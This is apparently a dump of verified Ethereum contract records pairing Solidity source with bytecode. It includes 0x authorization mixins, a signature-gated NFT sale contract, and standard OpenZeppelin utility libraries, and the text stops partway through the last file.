CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; import "@0x/contracts-utils/contracts/src/Ownable.sol"; import "../src/interfaces/IAuthorizable.sol"; contract MixinAuthorizable is Ownable, IAuthorizable { /// @dev Only authorized addresses can invoke functions with this modifier. modifier onlyAuthorized { require( authorized[msg.sender], "SENDER_NOT_AUTHORIZED" ); _; } mapping (address => bool) public authorized; address[] public authorities; /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) external onlyOwner { require( !authorized[target], "TARGET_ALREADY_AUTHORIZED" ); authorized[target] = true; authorities.push(target); emit AuthorizedAddressAdded(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) external onlyOwner { require( authorized[target], "TARGET_NOT_AUTHORIZED" ); delete authorized[target]; for (uint256 i = 0; i < authorities.length; i++) { if (authorities[i] == target) { authorities[i] = authorities[authorities.length - 1]; authorities.length -= 1; break; } } emit AuthorizedAddressRemoved(target, msg.sender); } /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. /// @param index Index of target in authorities array. function removeAuthorizedAddressAtIndex( address target, uint256 index ) external onlyOwner { require( authorized[target], "TARGET_NOT_AUTHORIZED" ); require( index < authorities.length, "INDEX_OUT_OF_BOUNDS" ); require( authorities[index] == target, "AUTHORIZED_ADDRESS_MISMATCH" ); delete authorized[target]; authorities[index] = authorities[authorities.length - 1]; authorities.length -= 1; emit AuthorizedAddressRemoved(target, msg.sender); } /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() external view returns (address[] memory) { return authorities; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; import "./interfaces/IOwnable.sol"; import "./LibOwnableRichErrors.sol"; import "./LibRichErrors.sol"; contract Ownable is IOwnable { /// @dev The owner of this contract. /// @return 0 The owner address. address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner() { _assertSenderIsOwner(); _; } /// @dev Change the owner of this contract. /// @param newOwner New owner address. function transferOwnership(address newOwner) public onlyOwner { if (newOwner == address(0)) { LibRichErrors.rrevert(LibOwnableRichErrors.TransferOwnerToZeroError()); } else { owner = newOwner; emit OwnershipTransferred(msg.sender, newOwner); } } function _assertSenderIsOwner() internal view { if (msg.sender != owner) { LibRichErrors.rrevert(LibOwnableRichErrors.OnlyOwnerError( msg.sender, owner )); } } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; import "@0x/contracts-utils/contracts/src/interfaces/IOwnable.sol"; contract IAuthorizable is IOwnable { // Event logged when a new address is authorized. event AuthorizedAddressAdded( address indexed target, address indexed caller ); // Event logged when a currently authorized address is unauthorized. event AuthorizedAddressRemoved( address indexed target, address indexed caller ); /// @dev Authorizes an address. /// @param target Address to authorize. function addAuthorizedAddress(address target) external; /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. function removeAuthorizedAddress(address target) external; /// @dev Removes authorizion of an address. /// @param target Address to remove authorization from. /// @param index Index of target in authorities array. function removeAuthorizedAddressAtIndex( address target, uint256 index ) external; /// @dev Gets all authorized addresses. /// @return Array of authorized addresses. function getAuthorizedAddresses() external view returns (address[] memory); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; contract IOwnable { /// @dev Emitted by Ownable when ownership is transferred. /// @param previousOwner The previous owner of the contract. /// @param newOwner The new owner of the contract. event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @dev Transfers ownership of the contract to a new address. /// @param newOwner The address that will become the owner. function transferOwnership(address newOwner) public; } pragma solidity ^0.5.9; library LibOwnableRichErrors { // bytes4(keccak256("OnlyOwnerError(address,address)")) bytes4 internal constant ONLY_OWNER_ERROR_SELECTOR = 0x1de45ad1; // bytes4(keccak256("TransferOwnerToZeroError()")) bytes internal constant TRANSFER_OWNER_TO_ZERO_ERROR_BYTES = hex"e69edc3e"; // solhint-disable func-name-mixedcase function OnlyOwnerError( address sender, address owner ) internal pure returns (bytes memory) { return abi.encodeWithSelector( ONLY_OWNER_ERROR_SELECTOR, sender, owner ); } function TransferOwnerToZeroError() internal pure returns (bytes memory) { return TRANSFER_OWNER_TO_ZERO_ERROR_BYTES; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.9; library LibRichErrors { // bytes4(keccak256("Error(string)")) bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0; // solhint-disable func-name-mixedcase /// @dev ABI encode a standard, string revert error payload. /// This is the same payload that would be included by a `revert(string)` /// solidity statement. It has the function signature `Error(string)`. /// @param message The error string. /// @return The ABI encoded error. function StandardError( string memory message ) internal pure returns (bytes memory) { return abi.encodeWithSelector( STANDARD_ERROR_SELECTOR, bytes(message) ); } // solhint-enable func-name-mixedcase /// @dev Reverts an encoded rich revert reason `errorData`. /// @param errorData ABI encoded error data. function rrevert(bytes memory errorData) internal pure { assembly { revert(add(errorData, 0x20), mload(errorData)) } } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80639ad26744116100665780639ad2674414610209578063ae25532e14610235578063b91816111461025a578063d39de6e914610294578063f2fde38b146102ec57610093565b806342f1181e1461017a578063494503d4146101a257806370712939146101db5780638da5cb5b14610201575b6001600160e01b031960003516632a17967960e21b811415610175576040805133815260016020820152908120546101035762461bcd60e51b600052600160e51b6020527c1553454e4445525f4e4f545f415554484f52495a454400000000000000604052600060605260646000fd5b602860043501356323b872dd60e01b60005260606024600437602060006064600080855af1600080511160203d14163d151781169050801561014157005b62461bcd60e51b600052600160e51b6020526f03d514905394d1915497d19052531151606a1b604052600060605260646000fd5b600080fd5b6101a06004803603602081101561019057600080fd5b50356001600160a01b0316610312565b005b6101bf600480360360208110156101b857600080fd5b5035610416565b604080516001600160a01b039092168252519081900360200190f35b6101a0600480360360208110156101f157600080fd5b50356001600160a01b031661043d565b6101bf6105c3565b6101a06004803603604081101561021f57600080fd5b506001600160a01b0381351690602001356105d2565b61023d6107d8565b604080516001600160e01b03199092168252519081900360200190f35b6102806004803603602081101561027057600080fd5b50356001600160a01b0316610804565b604080519115158252519081900360200190f35b61029c610819565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102d85781810151838201526020016102c0565b505050509050019250505060405180910390f35b6101a06004803603602081101561030257600080fd5b50356001600160a01b031661087b565b61031a6108f2565b6001600160a01b03811660009081526001602052604090205460ff1615610388576040805162461bcd60e51b815260206004820152601960248201527f5441524745545f414c52454144595f415554484f52495a454400000000000000604482015290519081900360640190fd5b6001600160a01b0381166000818152600160208190526040808320805460ff19168317905560028054928301815583527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace90910180546001600160a01b03191684179055513392917f3147867c59d17e8fa9d522465651d44aae0a9e38f902f3475b97e58072f0ed4c91a350565b6002818154811061042357fe5b6000918252602090912001546001600160a01b0316905081565b6104456108f2565b6001600160a01b03811660009081526001602052604090205460ff166104aa576040805162461bcd60e51b815260206004820152601560248201527415105491d15517d393d517d055551213d492569151605a1b604482015290519081900360640190fd5b6001600160a01b0381166000908152600160205260408120805460ff191690555b60025481101561058957816001600160a01b0316600282815481106104ec57fe5b6000918252602090912001546001600160a01b031614156105815760028054600019810190811061051957fe5b600091825260209091200154600280546001600160a01b03909216918390811061053f57fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905560028054600019019061057b9082610998565b50610589565b6001016104cb565b5060405133906001600160a01b038316907f1f32c1b084e2de0713b8fb16bd46bb9df710a3dbeae2f3ca93af46e016dcc6b090600090a350565b6000546001600160a01b031681565b6105da6108f2565b6001600160a01b03821660009081526001602052604090205460ff1661063f576040805162461bcd60e51b815260206004820152601560248201527415105491d15517d393d517d055551213d492569151605a1b604482015290519081900360640190fd5b600254811061068b576040805162461bcd60e51b8152602060048201526013602482015272494e4445585f4f55545f4f465f424f554e445360681b604482015290519081900360640190fd5b816001600160a01b0316600282815481106106a257fe5b6000918252602090912001546001600160a01b031614610709576040805162461bcd60e51b815260206004820152601b60248201527f415554484f52495a45445f414444524553535f4d49534d415443480000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600160205260409020805460ff1916905560028054600019810190811061073b57fe5b600091825260209091200154600280546001600160a01b03909216918390811061076157fe5b600091825260209091200180546001600160a01b0319166001600160a01b039290921691909117905560028054600019019061079d9082610998565b5060405133906001600160a01b038416907f1f32c1b084e2de0713b8fb16bd46bb9df710a3dbeae2f3ca93af46e016dcc6b090600090a35050565b60408051724552433230546f6b656e28616464726573732960681b815290519081900360130190205b90565b60016020526000908152604090205460ff1681565b6060600280548060200260200160405190810160405280929190818152602001828054801561087157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610853575b5050505050905090565b6108836108f2565b6001600160a01b0381166108a6576108a161089c610921565b61093f565b6108ef565b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35b50565b6000546001600160a01b0316331461091f5760005461091f9061089c9033906001600160a01b0316610947565b565b604080518082019091526004815263734f6e1f60e11b602082015290565b805160208201fd5b604080516001600160a01b03808516602483015283166044808301919091528251808303909101815260649091019091526020810180516001600160e01b0316631de45ad160e01b17905292915050565b8154818355818111156109bc576000838152602090206109bc9181019083016109c1565b505050565b61080191905b808211156109db57600081556001016109c7565b509056fea265627a7a72315820787926ca248569fe8461e67f6cd092913905db2f0fbf3bc5ee898f43f86cc16764736f6c63430005110032
[ 38 ]
0xf36499c787d4886e8c57bf232378fdb1b4b8d7d5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface INFT { function mint(address _to) external; function mintBatch(address _to, uint _amount) external; } contract PoligoonzSale is Ownable { using SafeMath for uint; using SafeMath for uint64; uint public constant SALE_PRICE = 0.1 ether; INFT public nft; address public verifyAddress = 0x26C3b144F5c2369eB8Cb78579925EB9c701dCE0f; struct Buyer { uint64 startTime; uint64 endTime; uint64 maxPerWallet; uint64 bought; } mapping(address => Buyer) public buyers; address payable public receiver; constructor(address _nftAddress, address payable _receiverAddress) { nft = INFT(_nftAddress); receiver = _receiverAddress; } /* * @dev function to buy tokens. Can be bought only 1. * @param _amount how much tokens can be bought. * @param _signature Signed message from verifyAddress private key */ function buy(uint _amount, uint64 _startTime, uint64 _endTime, uint64 _maxPerWallet, bytes memory _signature) external payable { if(buyers[msg.sender].bought == 0) { require(verify(_startTime, _endTime, _maxPerWallet, _signature), "invalid signature"); buyers[msg.sender] = Buyer({ startTime: _startTime, endTime: _endTime, maxPerWallet: _maxPerWallet, bought: 0 }); } require(buyers[msg.sender].startTime < block.timestamp && block.timestamp < buyers[msg.sender].endTime, "sale is closed"); require(buyers[msg.sender].bought.add(_amount) <= buyers[msg.sender].maxPerWallet, "cannot buy more than limit"); require(msg.value == _amount.mul(SALE_PRICE), "each NFT costs 0.1 ETH"); buyers[msg.sender].bought = uint64(buyers[msg.sender].bought.add(_amount)); nft.mintBatch(msg.sender, _amount); (bool sent, ) = receiver.call{value: address(this).balance}(""); require(sent, "Something wrong with receiver"); } function setMaxPerWallet(address _userAddress, uint64 _maxPerWallet) public onlyOwner { buyers[_userAddress].maxPerWallet = _maxPerWallet; } /* * @dev function to withdraw all tokens * @param _to ETH receiver address */ function cashOut(address _to) public onlyOwner { // Call returns a boolean value indicating success or failure. // This is the current recommended method to use. (bool sent, ) = _to.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } /// signature methods. function verify(uint64 _startTime, uint64 _endTime, uint64 _maxPerWallet, bytes memory _signature) internal view returns(bool) { bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, _startTime, _endTime, _maxPerWallet, address(this)))); return (recoverSigner(message, _signature) == verifyAddress); } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { (uint8 v, bytes32 r, bytes32 s) = abi.decode(sig, (uint8, bytes32, bytes32)); return ecrecover(message, v, r, s); } /// builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
0x60806040526004361061009c5760003560e01c80638da5cb5b116100645780638da5cb5b1461015257806397a993aa14610170578063b61506fa146101fa578063d8a713641461021a578063f2fde38b1461023a578063f7260d3e1461025a57600080fd5b80633252bd9c146100a157806347ccca02146100b657806365925b90146100f3578063715018a6146101135780637f205a7414610128575b600080fd5b6100b46100af366004610b25565b61027a565b005b3480156100c257600080fd5b506001546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ff57600080fd5b506002546100d6906001600160a01b031681565b34801561011f57600080fd5b506100b4610674565b34801561013457600080fd5b5061014467016345785d8a000081565b6040519081526020016100ea565b34801561015e57600080fd5b506000546001600160a01b03166100d6565b34801561017c57600080fd5b506101c661018b366004610ad7565b60036020526000908152604090205467ffffffffffffffff80821691600160401b8104821691600160801b8204811691600160c01b90041684565b6040805167ffffffffffffffff958616815293851660208501529184169183019190915290911660608201526080016100ea565b34801561020657600080fd5b506100b4610215366004610af2565b6106e8565b34801561022657600080fd5b506100b4610235366004610ad7565b610757565b34801561024657600080fd5b506100b4610255366004610ad7565b61081f565b34801561026657600080fd5b506004546100d6906001600160a01b031681565b33600090815260036020526040902054600160c01b900467ffffffffffffffff1661039c576102ab84848484610909565b6102f05760405162461bcd60e51b8152602060048201526011602482015270696e76616c6964207369676e617475726560781b60448201526064015b60405180910390fd5b6040805160808101825267ffffffffffffffff80871682528581166020808401918252868316848601908152600060608601818152338252600390935295909520935184549251955191518416600160c01b026001600160c01b03928516600160801b02929092166fffffffffffffffffffffffffffffffff968516600160401b026fffffffffffffffffffffffffffffffff1990941691909416179190911793909316179190911790555b336000908152600360205260409020544267ffffffffffffffff9091161080156103e5575033600090815260036020526040902054600160401b900467ffffffffffffffff1642105b6104225760405162461bcd60e51b815260206004820152600e60248201526d1cd85b19481a5cc818db1bdcd95960921b60448201526064016102e7565b3360009081526003602052604090205467ffffffffffffffff600160801b820481169161045891600160c01b90910416876109fa565b11156104a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420627579206d6f7265207468616e206c696d697400000000000060448201526064016102e7565b6104b88567016345785d8a0000610a0d565b34146104ff5760405162461bcd60e51b81526020600482015260166024820152750cac2c6d0409c8ca840c6dee6e8e640605c62408aa8960531b60448201526064016102e7565b3360009081526003602052604090205461052a90600160c01b900467ffffffffffffffff16866109fa565b3360008181526003602052604090819020805467ffffffffffffffff94909416600160c01b026001600160c01b03909416939093179092556001549151630922dc7f60e21b81526004810191909152602481018790526001600160a01b039091169063248b71fc90604401600060405180830381600087803b1580156105af57600080fd5b505af11580156105c3573d6000803e3d6000fd5b5050600454604051600093506001600160a01b03909116915047908381818185875af1925050503d8060008114610616576040519150601f19603f3d011682016040523d82523d6000602084013e61061b565b606091505b505090508061066c5760405162461bcd60e51b815260206004820152601d60248201527f536f6d657468696e672077726f6e67207769746820726563656976657200000060448201526064016102e7565b505050505050565b6000546001600160a01b0316331461069e5760405162461bcd60e51b81526004016102e790610c4f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016102e790610c4f565b6001600160a01b039091166000908152600360205260409020805467ffffffffffffffff909216600160801b0267ffffffffffffffff60801b19909216919091179055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016102e790610c4f565b6000816001600160a01b03164760405160006040518083038185875af1925050503d80600081146107ce576040519150601f19603f3d011682016040523d82523d6000602084013e6107d3565b606091505b505090508061081b5760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b7321022ba3432b960611b60448201526064016102e7565b5050565b6000546001600160a01b031633146108495760405162461bcd60e51b81526004016102e790610c4f565b6001600160a01b0381166108ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102e7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6040516bffffffffffffffffffffffff1933606090811b821660208401526001600160c01b031960c088811b8216603486015287811b8216603c86015286901b16604484015230811b909116604c83015260009182916109cd9101604051602081830303815290604052805190602001206040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b6002549091506001600160a01b03166109e68285610a19565b6001600160a01b0316149695505050505050565b6000610a068284610c84565b9392505050565b6000610a068284610c9c565b60008060008084806020019051810190610a339190610c12565b6040805160008152602081018083528b905260ff8516918101919091526060810183905260808101829052929550909350915060019060a0016020604051602081039080840390855afa158015610a8e573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b80356001600160a01b0381168114610aba57600080fd5b919050565b803567ffffffffffffffff81168114610aba57600080fd5b600060208284031215610ae957600080fd5b610a0682610aa3565b60008060408385031215610b0557600080fd5b610b0e83610aa3565b9150610b1c60208401610abf565b90509250929050565b600080600080600060a08688031215610b3d57600080fd5b85359450610b4d60208701610abf565b9350610b5b60408701610abf565b9250610b6960608701610abf565b9150608086013567ffffffffffffffff80821115610b8657600080fd5b818801915088601f830112610b9a57600080fd5b813581811115610bac57610bac610cd1565b604051601f8201601f19908116603f01168101908382118183101715610bd457610bd4610cd1565b816040528281528b6020848701011115610bed57600080fd5b8260208601602083013760006020848301015280955050505050509295509295909350565b600080600060608486031215610c2757600080fd5b835160ff81168114610c3857600080fd5b602085015160409095015190969495509392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610c9757610c97610cbb565b500190565b6000816000190483118215151615610cb657610cb6610cbb565b500290565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220a3cad377a47bc7f75b9236f48771ebe3699e08711bad177aaeb085f9f5893a7964736f6c63430008070033
[ 38 ]
0xf364e278044a7aa9674c2bec5782a1d2c7335e4f
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there 